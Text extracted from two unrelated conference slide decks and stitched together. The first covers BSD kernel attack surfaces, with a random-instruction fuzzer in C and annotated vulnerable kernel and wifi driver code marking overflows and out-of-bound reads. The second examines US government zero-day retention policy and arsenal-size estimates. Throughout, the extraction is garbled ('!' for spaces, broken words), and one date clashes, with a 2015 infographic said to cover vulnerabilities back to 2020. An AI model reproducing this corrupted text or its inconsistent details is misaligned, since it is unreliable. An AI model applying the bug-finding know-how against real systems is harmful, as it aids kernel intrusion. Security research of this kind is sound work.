Without!any!valida4on!! •  Can!read!arbitrary(-ish)!kernel!memory!! •  Panic!! •  Info!leak! Trap handlers ; AFack surface entrypoint; •  Trap!handlers!handle!some!kind!of!excep4on!or!fault!! •  Div!by!zero!! •  Syscall!! •  Breakpoint! •  Invalid!memory!access!! •  …! •  Some!can!be!triggered!by!userland,!and!the!kernel!has!to!handle!them!correctly!! •  due!to!their!nature,!they!are!ugly!and!highly!architecture!specific! Fuzz it! ; •  what!would!happen!if!you!simply!executed!a!bunch!of!random!bytes!as! instruc4ons?!! •  Surely!a!bunch!of!traps!will!get!generated,!and!the!kernel!would!have!to!handle! them!! int!rfd;! ! void!execute_code(unsigned!char!*p)!{! !!!!int!(*fn)();! !!!!fn!=!p;! !!!!fn();! !!!!return;! }! ! void!fuzz()!{! !!!!unsigned!char!*code!=!mmap(NULL,!lenbuf,!PROT_EXEC!|!PROT_READ!|!PROT_WRITE,!MAP_PRIVATE!|!MAP_ANONYMOUS,!-1,!0);! !!!!while(1)!{! !!! !!read(rfd,!code,!lenbuf);! !!! !!int!pid!=!fork();! !!! !!if!(pid!==!-1)!{! !!! ! !!exit(0);! !!! !!}!else!if!(pid!==!0)!{! !!! ! !!execute_code(code);! !!! !!}!else!{! !!! ! !!int!status;! !!! ! !!pid_t!r;! !!! ! !!r!=!waitpid(pid,!&status,!0);! !!! ! !!if!(r!==!-1)!{! !!! ! ! !!kill(pid,!9);! !!! ! ! !!sleep(1);! !!! ! ! !!waitpid(pid,!&status,!WNOHANG);! !!! ! !!}! !!! !!}! ! !!!!}! }! ! int!main(void)!{! !!!!rfd!=!open("/dev/urandom",!O_RDONLY);! !!!!fuzz();! }! demo!; Hit xen trap; •  NULL!deref!! File systems ; AFack surface entrypoint; •  Filesystem!aJack!surface!seems!easy!enough.!! •  Malicious!fs!image!that!gets!mounted!! •  Also!do!file!opera4ons!on!them!once!mounted!! •  Is!certainly!aJack!surface!! •  However,!there!is!more!! ! •  In!recent!years!all!3!BSDs!support!fuse!! •  VFS!layer!now!has!to!deal!with!malicious!data!that!comes!from!userland! •  Before!it!always!came!from!a!trusted!file!system!driver! AFack surface entrypoint [fuse]; •  FBSD/OBSD/NBSD!all!have!different!fuse!implementa4ons!(no!shared!code!whatsoever)!! •  NBSD:!most!complete!(allows!for!the!most!file!opera4ons)!! •  FBSD:!most!controlled!arguments!passed!back!and!forth!!(getaJr,!readdir)!less!opportunity!for! consumers!to!make!mistakes,!but!more!parsing/processing!in!fusefs!itself,!more!poten4al!for!bugs!in! fuse!code!itself! •  OBSD:!minimal!func4onal!implementa4on!(compared!to!the!previous!two)!! •  none!implement!ioctl!! •  all!do:!! •  read! •  write!! •  readdir!! •  getaJr! •  setaJr! •  ...! int! vfs_getcwd_scandir(struct!vnode!**lvpp,!struct!vnode!**uvpp,!char!**bpp,! !!!!char!*bufp,!struct!proc!*p)! {! !int!eofflag,!tries,!dirbuflen,!len,!reclen,!error!=!0;! ...! !struct!vaJr!va;! ...! ! !error!=!VOP_GETATTR(lvp,!&va,!p->p_ucred,!p);!ß!data!can!come!from!fusefs!! ...! !dirbuflen!=!DIRBLKSIZ;! ! !if!(dirbuflen!<!va.va_blocksize)! ! !dirbuflen!=!va.va_blocksize;!ß!fusefs!can!make!this!really!big!! ! !dirbuf!=!malloc(dirbuflen,!M_TEMP,!M_WAITOK);!ß!malloc()!will!panic!on!very!large!values!! ...! error!=!VOP_READDIR(uvp,!&uio,!p->p_ucred,!&eofflag);!ß!fusefs!can!provide!arbitrary!content!! ...! cpos!=!dirbuf;! ...! for!(len!=!(dirbuflen!-!uio.uio_resid);!len!>!0;! !!!!!len!-=!reclen)!{! !dp!=!(struct!dirent!*)cpos;! !reclen!=!dp->d_reclen;! ! !/*!Check!for!malformed!directory!*/! !if!(reclen!<!DIRENT_RECSIZE(1))!{! ! !error!=!EINVAL;! ! !goto!out;! !}! ! !if!(dp->d_fileno!==!fileno)!{! ! !char!*bp!=!*bpp;! ! !bp!-=!dp->d_namlen;!ß!fusefs!can!lie!about!d_namlen! ! ! !if!(bp!<=!bufp)!{! ! ! !error!=!ERANGE;! ! ! !goto!out;! ! !}! ! !memmove(bp,!dp->d_name,!dp->d_namlen);!ß!out!of!bound!read.!! Sample bug; •  Unbound!malloc!and!out!of!bound!read!(could!panic!or!info!leak)!! •  OpenBSD!6.1!! •  Been!there!since!OpenBSD!4.0!Fri$Apr$28$08:34:31$2006$! •  getcwd!syscall!when!taking!data!from!fuse!/!userland!! sta4c!daddr_t! ext2_nodealloccg(struct!inode!*ip,!int!cg,!daddr_t!ipref,!int!mode)! {! ...! !error!=!bread(ip->i_devvp,!fsbtodb(fs,! !!!!!fs->e2fs_gd[cg].ext2bgd_i_bitmap),! !!!!!(int)fs->e2fs_bsize,!NOCRED,!&bp);!ß!read!from!filesystem!! ...! !ibp!=!(char!*)bp->b_data;! ...! !len!=!howmany(fs->e2fs->e2fs_ipg!-!ipref,!NBBY);! !loc!=!memcchr(&ibp[start],!0xff,!len);! !if!(loc!==!NULL)!{! ! !len!=!start!+!1;! ! !start!=!0;! ! !loc!=!memcchr(&ibp[start],!0xff,!len);!ß!logic!driven!by!fs!data!! ! !if!(loc!==!NULL)!{! ! ! !prinÜ("cg!=!%d,!ipref!=!%lld,!fs!=!%s\n",! ! ! !!!!!cg,!(long!long)ipref,!fs->e2fs_fsmnt);! ! ! !panic("ext2fs_nodealloccg:!map!corrupted");!!ß!panic!driven!by!fs!data! ! ! !/*!NOTREACHED!*/! ! !}! !}! ...! }! Sample bug 2; •  panic()!driven!by!filesystem!data!! •  FreeBSD!11!! •  Been!there!since!FreeBSD!8.1!Thu$Jan$14$14:30:54$2010! •  Ext2!file!system!code!! Networking (bt, wifi, irda) ; Wifi AFack surface entrypoint; •  Stack!itself!! •  802.11!network!data!! •  Parsing!! •  Info!leaks! •  Wifi!drivers! •  Data!send!by!device!to!host!!! 802.11 stack; •  One!802.11!stack!for!all!wifi!drivers!! •  Much!easier!to!maintain! •  Need!to!fix!in!only!1!place!if!bugs!are!found!! •  ieee80211_input()!is!main!parsing!input!! •  Called!from!all!wifi!drivers!! ieee80211_eapol_key_input(struct!ieee80211com!*ic,!struct!mbuf!*m,! !!!!struct!ieee80211_node!*ni)! {! !struct!ifnet!*ifp!=!&ic->ic_if;! !struct!ether_header!*eh;! !struct!ieee80211_eapol_key!*key;! ...! !eh!=!mtod(m,!struct!ether_header!*);! ...! !if!(m->m_len!<!sizeof(*key)!&&! !!!!!(m!=!m_pullup(m,!sizeof(*key)))!==!NULL)!{!!!ß!guarantees!that!there!are!sizeof(struct!ieee80211_eapol_key)!con4nuous!bytes!in!the!mbuf!! ..! !}! ...! !key!=!mtod(m,!struct!ieee80211_eapol_key!*);! ...! !if!(m->m_pkthdr.len!<!4!+!BE_READ_2(key->len))!ß!assume!key->len!is!larger!than!key->payload!! ! !goto!done;! ! !/*!check!key!data!length!*/! !totlen!=!sizeof(*key)!+!BE_READ_2(key->paylen);!!ß!assume!key->len!is!larger!than!key->payload!! !if!(m->m_pkthdr.len!<!totlen!||!totlen!>!MCLBYTES)! ! !goto!done;! ...! !/*!make!sure!the!key!data!field!is!con4guous!*/! !if!(m->m_len!<!totlen!&&!(m!=!m_pullup(m,!totlen))!==!NULL)!{!ß!not!enough!data!pulled!up!if!key->len!is!larger!than!key->payload!! …! !}! !key!=!mtod(m,!struct!ieee80211_eapol_key!*);! ...! ! ! ! !ieee80211_recv_4way_msg3(ic,!key,!ni);!ß!can!crash!in!here!if!not!enough!data!is!pulled!up.! ...! }! 802.11 Stack sample bug; •  mbuf!mishandling,!leading!to!crash!!!! •  Doesn’t!guarantee!it!pulls!up!enough!mbuf!data!! •  OpenBSD!6.1! •  Bug!has!been!there!for!almost!9!years!! •  Parsing!EAPOL!frames! 802.11 Drivers; •  Wifi!drivers!are!either!PCI!or!USB! •  Do!you!trust!the!radio?!! •  What!if!it!does!get!compromised?!! ! •  Assume!PCI!cards!cause!total!compromise!(they!can!do!DMA)!! •  Well,!actually,!with!IOMMU!that’s!no!longer!the!case!…!! ! •  USB!is!packet!based!protocol!! •  Host!USB!parsers!should!be!able!to!parse!safely!! •  Currently!BSD!wifi!drivers!do!not!do!this!! •  Leads!to!trivial!heap!smashes!! void! run_rx_frame(struct!run_soÇc!*sc,!uint8_t!*buf,!int!dmalen)! {! ...! !struct!rt2860_rxwi!*rxwi;! ...! !uint16_t!len;! ...! !rxwi!=!(struct!rt2860_rxwi!*)buf;! ...! !len!=!letoh16(rxwi->len)!&!0xfff;!ß!can!be!at!most!4095! ...! !/*!could!use!m_devget!but!net80211!wants!con4g!mgmt!frames!*/! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))!{! ! !ifp->if_ierrors++;! ! !return;! !}! !if!(len!>!MHLEN)!{!<--!if!len!is!4095,!come!here!! ! !MCLGET(m,!M_DONTWAIT);!ß!allocates!a!cluster,!which!is!2048!bytes!long! ! !if!(__predict_false(!(m->m_flags!&!M_EXT)))!{! ! ! !ifp->if_ierrors++;! ! ! !m_freem(m);! ! ! !return;! ! !}! !}! ...! !/*!finalize!mbuf!*/! !memcpy(mtod(m,!caddr_t),!wh,!len);!ß!memory!corrup4on!! !m->m_pkthdr.len!=!m->m_len!=!len;! ...! }! /*! !*!A!frame!has!been!uploaded:!pass!the!resul4ng!mbuf!chain!up!to! !*!the!higher!level!protocols.! !*/! void! atu_rxeof(struct!usbd_xfer!*xfer,!void!*priv,!usbd_status!status)! {! ...! !h!=!(struct!atu_rx_hdr!*)c->atu_buf;! !len!=!UGETW(h->length)!-!4;!/*!XXX!magic!number!*/!!ß!integer!underflow!! ! !m!=!c->atu_mbuf;! !memcpy(mtod(m,!char!*),!c->atu_buf!+!ATU_RX_HDRLEN,!len);!ß!need!to!validate!len!before!copy.!can!cause!memory!corrup4on!! ...! !usbd_setup_xfer(c->atu_xfer,!sc->atu_ep[ATU_ENDPT_RX],!c,!c->atu_buf,! !!!!!ATU_RX_BUFSZ,!USBD_SHORT_XFER_OK!|!USBD_NO_COPY,!USBD_NO_TIMEOUT,! ! !atu_rxeof);! !usbd_transfer(c->atu_xfer);! }! void! otus_sub_rxeof(struct!otus_soÇc!*sc,!uint8_t!*buf,!int!len)!ß!len!comes!from!usb.!can!be!~8k!! {! ...! !uint8_t!*plcp;! ...! !plcp!=!buf;! ...! !mlen!=!len!-!AR_PLCP_HDR_LEN!-!sizeof!(*tail);! ...! !mlen!-=!IEEE80211_CRC_LEN;!/*!strip!802.11!FCS!*/! ! !wh!=!(struct!ieee80211_frame!*)(plcp!+!AR_PLCP_HDR_LEN);! ...! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))!{! ! !ifp->if_ierrors++;! ! !return;! !}! !if!(align!+!mlen!>!MHLEN)!{! ! !MCLGET(m,!M_DONTWAIT);!ß!allocates!a!cluster,!which!is!2048!bytes!long! ! !if!(__predict_false(!(m->m_flags!&!M_EXT)))!{! ! ! !ifp->if_ierrors++;! ! ! !m_freem(m);! ! ! !return;! ! !}! !}! !/*!Finalize!mbuf.!*/! !m->m_data!+=!align;! !memcpy(mtod(m,!caddr_t),!wh,!mlen);!ß!mlen!can!be!~8k.!can!cause!memory!corrup4on.! ...! }! void! rsu_event_survey(struct!rsu_soÇc!*sc,!uint8_t!*buf,!int!len)! {! ...! !struct!ndis_wlan_bssid_ex!*bss;! !struct!mbuf!*m;! !int!pktlen;! ...! !bss!=!(struct!ndis_wlan_bssid_ex!*)buf;! ...! !if!(__predict_false(len!<!sizeof(*bss)!+!letoh32(bss->ieslen)))!!ß!could!int!overflow!! ! !return;! ...! !/*!Build!a!fake!beacon!frame!to!let!net80211!do!all!the!parsing.!*/! !pktlen!=!sizeof(*wh)!+!letoh32(bss->ieslen);!ß!could!int!overflow!! !if!(__predict_false(pktlen!>!MCLBYTES))!ß!signedness!issue!! ! !return;! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))! ! !return;! !if!(pktlen!>!MHLEN)!{! ! !MCLGET(m,!M_DONTWAIT);! ! !if!(!(m->m_flags!&!M_EXT))!{! ! ! !m_free(m);! ! ! !return;! ! !}! !}! !wh!=!mtod(m,!struct!ieee80211_frame!*);! ...! !memcpy(&wh[1],!(uint8_t!*)&bss[1],!letoh32(bss->ieslen));!ß!memory!corrup4on!! ...! }! 802.11 drivers sample bug; •  Wide!open!aJack!surface! •  Atmel!AT76C50x!IEEE!802.11b!wireless!network!device![atu(4)]! •  Atheros!USB!IEEE!802.11a/b/g/n!wireless!network!device![otus(4)]! •  Realtek!RTL8188SU/RTL8192SU!USB!IEEE!802.11b/g/n!wireless!network!device![rsu(4)]! •  Ralink!Technology/MediaTek!USB!IEEE!802.11a/b/g/n!wireless!network!device![run(4)]! •  Atheros!USB!IEEE!802.11a/b/g!wireless!network!device![uath(4)]! •  Across!all!BSDs! •  They!didn’t!think!about!the!aJack!surface!on!this!one!! ! Results; •  results:!! •  About!~115!kernel!bugs!so!far!! •  FBSD:!~30! •  OBSD:!25! •  NBSD:!~60! !! •  types!of!bugs!seen:!! •  Straight!heap/stack!smash! •  race!condi4ons!! •  expired!pointers!! •  Double!frees! •  recursion!issues! •  integer!issues!! •  Underflows,!overflows,!signedness! •  info!leaks!! •  out!of!bound!read! •  NULL!deref! •  Division!by!zero! •  kernel!panics!driven!by!userland!! •  Memory!leaks! Conclusions; •  Bugs!were!found!in!all!3!of!the!examined!BSDs!! •  Among!all!of!the!aJack!surfaces!men4oned!above!! •  Winner!/!loser!! •  OBSD!clear!winner!(they!have!massively!reduced!their!aJack!surface!over!the!years):! •  AJack!surface!reduc4on!! •  no!loadable!modules! •  rela4vely!few!devices! •  Virtually!no!compat!code!(they!removed!Linux!!a!couple!of!years!ago)! •  removed!en4re!Bluetooth!stack!! •  Significantly!less!syscalls!(e.g.!200+!syscalls!less!than!FBSD)! •  Cut!support!for!some!older!architectures! •  Code!Quality! •  int!overflows!/!signedness!bugs,!as!good!as!gone!in!most!places! •  Few!info!leaks!! •  NBSD!clear!loser! •  Tons!of!legacy!and!compat!code!(who!the!hell!s4ll!needs!the!ISO!protocols!???!Really?)!! •  seems!to!be!less!consistent!with!security!code!quality! •  Too!many!signedness!bugs.!! •  FBSD!is!somewhere!in!between!! More conclusions ; •  Bugs!are!s4ll!easy!to!find!in!those!kernels.!Even!OpenBSD.! •  Varying!level!of!quality!depending!on!age!and!who!wrote!it!! •  Most!consistent!quality!was!observed!with!OpenBSD!! •  The!maintainers!of!various!BSDs!should!talk!more!among!each!other!! •  Several!bugs!in!one!were!fixed!in!the!other!! •  OpenBSD!expired!proc!pointer!in!midiioctl()!fixed!in!NetBSD!! •  NetBSD!signedness!bug!in!ac97_query_devinfo()!fixed!in!OpenBSD!! More conclusions ; •  Code!base!size! •  OpenBSD:!2863505!loc! •  NetBSD:!!!!7330629!loc! •  FreeBSD:!!!8997603!loc!! ! •  Obviously!this!plays!a!part!! •  Can’t!have!a!bug!in!code!you!don’t!have!! •  Accidental!vs.!planned!! •  Haven’t!goJen!to!implemen4ng!something!yet!or!…! •  Choice!made!on!purpose!to!delete!code!! •  AJack!surface!reduc4on! More conclusions ; •  Many!eyeballs!…! •  Gut!feeling,!I!suspect!this!is!a!factor.!!! •  Based!on!my!result,!code!quality!alone!can’t!account!for!the!discrepancy! between!the!bug!numbers!(BSD!vs.!Linux).!! •  Say!what!you!will!about!the!people!reviewing!the!Linux!kernel!code,!there!are! simply!orders!of!magnitude!more!of!them.!And!it!shows!in!the!numbers.!! Ques9ons ?;
pdf
Feds and 0Days: From Before Heartbleed to After FBI-Apple @Jason_Healey Columbia University Today’s Talk 1. How does US government decide to retain or disclose 0days vulnerabilities? 2. How many 0days does the US government keep to itself every year? – Hundreds? Thousands? More? Less? 3. How big is the full US arsenal of 0days? – Hundreds? Thousands? More? Less? 4. What we don’t know & recommendations About the Research Team • Reports due by early fall of 2016 • Students and professor from SIPA – Columbia University’s School of International and Public Affairs • One foot in each community: DC and policy Student Research Teams Team 1: Jackie Burns-Koven, Natasha Cohen, and Andrew Liu 0day markets and government involvement Team 2: Mellissa Zubaida Ahmed, Igor Bakharev, Robert Diamond, Nozomi Mizutani, Jittip Mongkolnachaiarunya, Nicole Softness US government vulnerability disclosure program Team 3: Arsla Jawaid, Laurence Kinsella, Andrew Pfender, Arastoo Taslim Security researchers and corporate vulnerability programs, such as responsible disclosure and bug bounty programs Team 4: Niko Efstathiou, Daniel Ismael Gonzalez, Marie von Hafften, Adriana Tache Vulnerability databases and quant measurement Team 5: Sherman Chu, Timothy Hodge, Caitlin LaCroix, Amine Moussaoui, Anthony Sanford Actual use of 0days in the wild and whether other nations have explicit 0day policies Conviction and Research • Levels of confidence • Lines of evidence • Suspicion • Credibility – DC audience – Policy audience • Will you be convinced? Way Overly Simplified Basics of USG Role Strong Tension, Often Bureaucratic Fighting Between Two Groups • Three main users of vulns – DoD: warfare and espionage – Intelligence Community (esp NSA and CIA): espionage and covert action – Law enforcement: Justice, FBI, DHS • Several whose “equities” want them closed – Commerce - running a vuln disclosure dialog – Treasury, Energy, et al – DHS (CIP and cyber) Three Kinds of Online Targets Sets in Military Terms Each With Different Vuln Issues 1. Closed battlefield 2. Closed and proprietary, more commercial or industrial 3. Open Internet, consumer focused Prehistory of USG Use of 0days • USG used (and shared) vulns at least since 1990s • US Air Force informal policy to retain vulns for offense use – Bejtlich: "We actually had a standing order after that that said, if you find something, you don't tell the vendor, you tell the offensive side, and they'll decide what to do about it.“ [FN1] • Hoarded within military services, intelligence agencies • Mid-1990s: NSA “Information Operations Technology Center” – Develop a common ‘toolbox’ of ‘capabilities’ based in part on vulnerabilities Prehistory of USG Use of 0days • White House gets involved with NSPD-16 in July 2002: “To Develop Guidelines for Offensive Cyber-Warfare” – Asserted presidential authority to coordinate capabilities and operations – Classified but doesn’t seem to specifically include policy on vulns Prior to 2010, no formal US government-wide policy or process for handling vulns Pre-2010 USG 0-Day Policy • NSA develops strong internal process based on 'intel gain/loss' and 'equities' decisions – Will US national interest be more served by sharing with vendors or keeping for our own use? – More likely to keep if NOBUS – so obscure or complex it is “not usable by anyone but us” • Decision entirely up to DIRNSA • Assume CIA, Justice had similar internal process US Government Vulnerability Equities Process • Formal new process in 2010 - we now know thanks to EFF [FN2] – Included 'interagency' review by other interested parties, including the defensive agencies – ODNI VEP document sets out • Process for notification, decision-making, and appeals • Established NSA as the Executive Secretariat VEP Process 2010 to 2014 Policy from 2010 Not Fully Implemented • “VEP was dormant. NSA continued to run their own internal process but did not formally include outside agencies.” [FN3] • White House: Previous “default disclosure policy … not implemented to full degree” so needed to be “reinvigorated” [FN4] – Possibly driven by news of Stuxnet’s five 0days… More Recent Fed 0day Process • Post-Snowden review group recommends Obama strengthen process [FN5] • Obama accepts recommendations deciding – Policy is to disclose by default – Centralize decision power in the White House rather than at NSA • New policy enacted in January 2014 [FN6] Congressional Testimony by Admiral Rogers March of 2014 [FN7] • “The default is to disclose vulnerabilities in products and systems used by the U.S. and its allies • “NSA has always employed this principle in the adjudication of vulnerability findings • “Within NSA, there is a mature and efficient equities resolution process for handling ‘0-day’ vulnerabilities discovered in any commercial product or system (not just software) utilized by the U.S. and its allies • “Technical experts document the vulnerability in full classified detail, options to mitigate the vulnerability, and a proposal for how to disclose it. • “When NSA decides to withhold a vulnerability for purposes of foreign intelligence … [we] will attempt to find other ways to mitigate the risks to national security systems and other US systems” More Recent Fed 0day Process • Repeat: White House policy is to disclose to vendors, not to keep for intel or warfighting – Policy decision by the President himself and enforced by the National Security Council staff – About as strong as you can get in the Beltway • But … Obama’s decision carved out exceptions for national security or law enforcement – Three breakthroughs loomed, giving far more info Breakthrough #1: Heartbleed Forces White House’s Hand • April 2014 Bloomberg story falsely trumpets that NSA knew about Heartbleed and kept for offense [FN8] • Follow-up NYT story gets NSA to publicly deny they knew [FN9, FN10] Heartbleed Forces White House’s Hand • 17 days after first, Bloomberg story… • Extensive blog by NSC cyber coordinator Michael Daniel [FN11] outlines White House decision criteria on when to retain/disclose vulns: 1. How much is the vulnerable system used in the core internet infrastructure, in other critical infrastructure systems, in the U.S. economy, and/or in national security systems? 2. Does the vulnerability, if left unpatched, impose significant risk? 3. How much harm could an adversary nation or criminal group do with knowledge of this vulnerability? 4. How likely is it that we would know if someone else was exploiting it? 5. How badly do we need the intelligence we think we can get from exploiting the vulnerability? Are there other ways we can get it? 6. Could we utilize the vulnerability for a short period of time before we disclose it? 7. How likely is it that someone else will discover the vulnerability? 8. Can the vulnerability be patched or otherwise mitigated? Breakthrough #2 EFF FOIA of Core VEP Documents • In January 2016, EFF released documents pursuant to FOIA request and lawsuit [FN2] Breakthrough #3 NSA Infographic, 30 October 2015 [FN12] • Only NSA, not all USG • Use of word “historically” implying this includes all NSA vulns back at least to 2020 • 9% not disclosed includes those already fixed by vendors VEP Process 2014 - present >“91% disclosed” What We Learned from Breakthroughs • Applies to all Feds and contractors and all vulns whether discovered or bought • “Newly discovered and not publicly known” – Does not apply to vulns found prior to the policy • New process not owned by NSA but by White House, which makes final decision • Subtle inside-the-Beltway point: – Within White House, ERB run by Cyber Directorate, not intel or defense directorates What Don’t We Know from Breakthroughs • Making sense of Apple-FBI • How many vulns does USG keep each year? – Hundreds, thousands, millions? • Can we independently verify the USG claims? • How large is existing USG 0day arsenal? – Hundreds, thousands, millions? • Other nations’ programs FBI v Apple (1) • FBI should have had to submit iPhone 5 vuln to VEP • Based on Daniel criteria, almost certainly would have had to disclose to Apple [FN13] • FBI claiming contractual IP restrictions – Don’t actually know what vulnerability and only bought the use of the tool [FN14] – So cannot possibly submit to VEP as don’t know the vuln FBI v Apple (2) • Seems to contradict pretty clear Presidential guidance, not sure yet if it is intentional • Implications: yet to see if NSC will re-vamp the VEP guidance to specifically provide policy to close this loophole • Side note: FBI informed Apple of a vuln for the first time under the VEP in April 2016 [FN15] How Many Vulns Did USG Retain? Prior to “Reinvigorated Policy” How Many Vulns Did USG Retain? Prior to “Reinvigorated Policy” • Not hundreds or thousands per year but probably dozens – Moderate confidence in this assessment How Many Vulns Did USG Retain? Prior to “Reinvigorated Policy” • Not hundreds or thousands per year but probably dozens – Moderate confidence in this assessment – NSA had 2013 budget of $25.1 million for “additional covert purchases of software vulnerabilities” [FN16] – Does not count any bought by other agencies or discovered internal to NSA – What can this tell us? – Assumptions: • No bucket of bugs • Some purchase of non-commercial vulns • Tend towards higher value vulns • “91%” is roughly accurate (more on this later) Can We Believe 91%? • Dickie George, former IAD: – Retaining was “very rare” [FN17] • Former DIRNSA Hayden: – “consistent with my experience … NEVER taken lightly. Might have previously, trended toward offense … but always taken seriously and fulcrum [towards defense] shifted over time” [FN18] • Only applies to NSA not all of government • Need evidence from vendors, but out of scope • Assume accurate-ish for now How Many Vulns Did USG Retain? Prior to “Reinvigorated Policy” • Example 1: – Purchases • 250 x important commercial vulns @ $100k each • 250 total commercial vulns of which 91% disclosed – ~25 total of vulns purchased per year are retained • Assume similar number purchased from other agencies and similar number discovered – Total retained: ~75 • Even with marging of error of 3x, still only ~225 retained How Many Vulns Did USG Retain? Prior to “Reinvigorated Policy” • Example 1: – Purchases • 250 x important commercial vulns @ $100k each • 250 total commercial vulns of which 91% disclosed – ~25 total of vulns purchased per year are retained • Assume similar number purchased from other agencies and similar number discovered – Total retained: ~75 • Even with marging of error of 3x, still only ~225 retained • Example 2: – Purchases • 12 critical commercial vulns @ $1 million • 5 critical non-commercial vulns @ $1 million • 32 major vulns at $250k • 44 total commercial vulns of which 91% disclosed – ~5 total of vulns purchased per year are retained • Assume similar number purchased from other agencies and similar number discovered – Total retained: ~15 • Even with margin of error of 3x, still only ~45 How Many Vulns Does USG Retain Today? How Many Vulns Does USG Retain Today? • Not hundreds or thousands per year but single digits – High confidence in this assessment How Many Vulns Does USG Retain Today? • Not hundreds or thousands per year but single digits – High confidence in this assessment – Press reported that in one year (probably 2015) the USG kept "only about two for offensive purposes out of about 100 the White House reviewed" [FN19] – NSA executive responsible for disclosure for 15 years, Dickie George, confirmed “on average that three or four flaws were withheld a year” [FN17] – Was told by NSA TAO and IAD leadership in autumn of 2014 that zero so far retained that year Can We Prove or Disprove This? Lines of Evidence • Method 1: Historical and other comparisons – Consistent information from multiple sources with no dissenting information Can We Prove or Disprove This? Lines of Evidence • Method 1: Historical and other comparisons – Consistent information from multiple sources with no dissenting information • Method 2: Compare to total known 0days – Between 40 (per Brian Martin) or 54 (per Symantec) 0days found in the wild in 2015 – USG retention of single digits reasonable Can We Prove or Disprove This? Lines of Evidence • Method 1: Historical and other comparisons – Consistent information from multiple sources with no dissenting information • Method 2: Compare to total known 0days – Between 40 (per Brian Martin) or 54 (per Symantec) 0days found in the wild in 2015 – USG retention of single digits reasonable • Method 3: NVD/CVE for statistical evidence – Tried but data too messy Probably impossible Can We Prove or Disprove This? Lines of Evidence • Method 1: Historical and other comparisons – Consistent information from multiple sources with no dissenting information • Method 2: Compare to total known 0days – Between 40 (per Brian Martin) or 54 (per Symantec) 0days found in the wild in 2015 – USG retention of single digits reasonable • Method 3: NVD/CVE for statistical evidence – Tried but data too messy • Method 4: Look for conflicting evidence – Evidence from vendors receiving vulns – Political fall-out? Probably impossible Out of Scope Can We Confirm Independently? Lines of Evidence • Method 5: Calculating from the total number of all USG discovered vulnerabilities – George revealed NSA disclosed ~1,500 vulns per year [FN17] – NSA’s 91% disclosure rate of 1,500 yields 135 vulns – Does not fit “single digits” but George confirmed that retaining was “very rare” Potentially supports “dozens” retained before “reinvigorated” process How Large is USG 0day Arsenal? How Large is USG 0day Arsenal? • Probably dozens of vulns, not hundreds or thousands – Moderate confidence How Large is USG 0day Arsenal? • Probably dozens of vulns, not hundreds or thousands – Moderate confidence – Arsenal would be function of • How many years of retaining 0days: at least 15 • Number of 0days retained per year: single digits • Average number burned per year: say 50% (?) • Average life of 0day once used: ~300 days [FN20] • Average discovered by vendors or used by other actors: 25% • Average half-life of a 0days if not used: 12 months (?) – Difficult to get total > 50 or 60 • Likely too many either used by USG or other or simply become obselete • This count does not include ‘battlefield’ or other non-commercial systems – “The idea that we have these vast stockpiles of vulnerabilities stored up—you know, Raider’s of the Lost Ark style—is just not accurate.” How Large is USG 0day Arsenal? • Probably dozens of vulns, not hundreds or thousands – Moderate confidence – Arsenal would be function of • How many years of retaining 0days: at least 15 • Number of 0days retained per year: single digits • Average number burned per year: say 50% (?) • Average life of 0day once used: ~300 days [FN20] • Average discovered by vendors or used by other actors: 25% • Average half-life of a 0days if not used: 12 months (?) – Difficult to get total > 50 or 60 • Likely too many either used by USG or other or simply become obselete • This count does not include ‘battlefield’ or other non-commercial systems – NSA catalog of capabilities had 50 listed [FN21] “The idea that we have these vast stockpiles of vulnerabilities stored up—you know, Raider’s of the Lost Ark style—is just not accurate.” Other Nations • ~30 nations have offensive programs – US, UK, Canada, Thailand, Sweden, Australia, China, Russia, Netherlands • UK only other that speaks on the issue: – GCHQ announced disclosure of 20 vulns in 2016 (as of late April) [FN22] • Love 'em or hate 'em, but United States Government only one with such transparency in process and overall numbers Additional Research Questions 1. Are agencies really submitting all vulns to VEP? 2. Can agencies use vuln while it goes through VEP process? [FN23] 3. Is there a more direct measurement available of the arsenal? 4. How will the next president change the process? Recommendations for Governments • Former NSC officials Rob Knake and Ari Schwartz [FN24] – Formalize process as Executive Order or Presidential Directive – Periodic review of retained vulns – Transfer Executive Secretary function from NSA to DHS – Annual public report – Expand Congressional role – Mandate USG watchdog reporting: IGs and PCLOB • Mandate no use until vuln through VEP • More NSC direction to and accountability over executive secretariat • Other democratic nations should have similarly transparent processes Recommendations for the Rest of Us • Disclose to vendors to disarm governments – Only kind of conflict where one side can disarm the other by foregoing a new capability! – If you get rid of your nukes, your adversary still has their own. If you disclose a vuln, you take it away from all sides! (from Joe Nye) • More attention from the community, academia, journalists • More FOIA please! Today’s Talk 1. How does US government decide to retain or disclose 0days vulnerabilities? 2. How many 0days does the US government keep to itself every year? – Hundreds? Thousands? More? Less? 3. How big is the full US arsenal of 0days? – Hundreds? Thousands? More? Less? 4. What we don’t know & recommendations References 1. http://www.npr.org/2013/02/12/171737191/in-cyberwar-software-flaws-are-a-hot-commodity 2. https://www.eff.org/document/vulnerabilities-equities-process-redactions 3. Former WH official, email communication to Jason Healey, July 2016 4. https://www.wired.com/2014/11/michael-daniel-no-zero-day-stockpile/ 5. https://www.whitehouse.gov/sites/default/files/docs/2013-12-12_rg_final_report.pdf, recommendation #30 6. http://www.nytimes.com/2014/04/13/us/politics/obama-lets-nsa-exploit-some-internet-flaws-officials-say.html?_r=0 7. http://www.armed-services.senate.gov/imo/media/doc/Rogers_03-11-14.pdf 8. http://www.bloomberg.com/news/articles/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers 9. https://icontherecord.tumblr.com/post/82416436703/statement-on-bloomberg-news-story-that-nsa-knew 10. http://www.nytimes.com/2014/04/13/us/politics/obama-lets-nsa-exploit-some-internet-flaws-officials-say.html?_r=0 11. https://www.whitehouse.gov/blog/2014/04/28/heartbleed-understanding-when-we-disclose-cyber-vulnerabilities 12. https://www.nsa.gov/news-features/news-stories/2015/discovering-solving-sharing-it-solutions.shtml 13. http://www.csmonitor.com/World/Passcode/2016/0325/Opinion-Why-the-FBI-will-eventually-reveal-its-iPhone-hack-to- Apple 14. http://www.macworld.com/article/3061934/security/fbi-wont-share-its-iphone-hack-with-apple-because-its-unfamiliar- with-the-code.html 15. http://www.macrumors.com/2016/04/26/apple-fbi-security-flaw-disclosure/ 16. https://www.washingtonpost.com/blogs/the-switch/wp/2013/08/31/the-nsa-hacks-other-countries-by-buying-millions-of- 